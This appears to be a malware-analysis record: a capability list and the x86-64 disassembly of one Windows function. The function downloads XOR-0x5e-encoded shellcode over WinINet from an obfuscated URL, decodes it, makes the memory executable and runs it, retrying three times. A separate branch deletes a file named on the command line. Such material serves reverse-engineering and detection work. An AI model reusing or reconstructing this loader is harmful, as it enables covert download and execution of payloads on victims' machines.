Function at 0x14000f1c0
Capabilities:
Allocate or change rwx memory
Create http request
Delete file
Encode data using xor
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x258
mov ebx, ecx
mov rsi, rdx
call fcn.1400016f0
cmp ebx, 1
jg 0x14000f43c
lea rcx, str.1331243732323f716b706e7e760937303a31292d7e100a7e6f6e706e657e093730686a657e26686a777e1f2e2e323b093b3c15372a716b6d69706d687e7615160a1312727e3237353b7e193b3d3531777e1d362c31333b716f6f6b706e706e706e7e0d3f383f2c37716b6d69706d687e1b3a39716f6f6b706e706f676e6f706f6666
lea rbx, [0x14001113d]
xor edi, edi
call fcn.140001530
mov edx, 0x5e
mov rcx, rax
call fcn.1400014d0
mov rcx, rbx
mov r13, rax
call fcn.140001530
mov edx, 0x5e
mov rcx, rax
call fcn.1400014d0
mov rcx, rbx
call fcn.140001530
mov edx, 0x5e
mov rcx, rax
call fcn.1400014d0
mov r14, rax
nop dword [rax + rax]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x14000f3b6
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
mov rcx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x14000f3f8
mov dword [rsp + 0x34], 0
lea r9, [rsp + 0x3c]
mov rcx, rax
lea r8, [rsp + 0x38]
mov dword [rsp + 0x38], 0
mov edx, 0x20000005
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x14000f3e8
mov r12d, dword [rsp + 0x38]
mov r9d, 4
mov r8d, 0x1000
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
je 0x14000f3a5
lea r9, [rsp + 0x34]
mov r8d, r12d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000f388
mov rax, r15
lea rdx, [r12 + r15]
test r12d, r12d
je 0x14000f350
mov rcx, rdx
sub rcx, r15
and ecx, 1
je 0x14000f340
lea rax, [r15 + 1]
xor byte [r15], 0x5e
cmp rdx, rax
je 0x14000f350
nop dword [rax]
xor byte [rax], 0x5e
xor byte [rax + 1], 0x5e
add rax, 2
cmp rdx, rax
jne 0x14000f340
mov rcx, rsi
mov rbp, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbp
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000f411
call r15
jmp 0x14000f240
lea rcx, str.Failed_to_read_file_n
call fcn.140001450
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rbx
call rsi
add edi, 1
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, 3
jne 0x14000f240
xor eax, eax
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000f2d5
mov rcx, rbx
add edi, 1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f3c4
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
add edi, 1
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
call rbp
mov rcx, rbx
call rbp
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f3c4
mov ecx, 0x800
lea rdi, [rsp + 0x40]
lea rbx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, 0x41
xor edx, edx
rep stosq qword [rdi], rax
or r9d, 0xffffffff
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
mov r8, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rsi + 8]
test eax, eax
je 0x14000f49a
lea rcx, str.Deleted_file:__s_n
call fcn.140001450
jmp 0x14000f1e6
lea rcx, str.Failed_to_delete_file:__s_n
call fcn.140001450
jmp 0x14000f1e6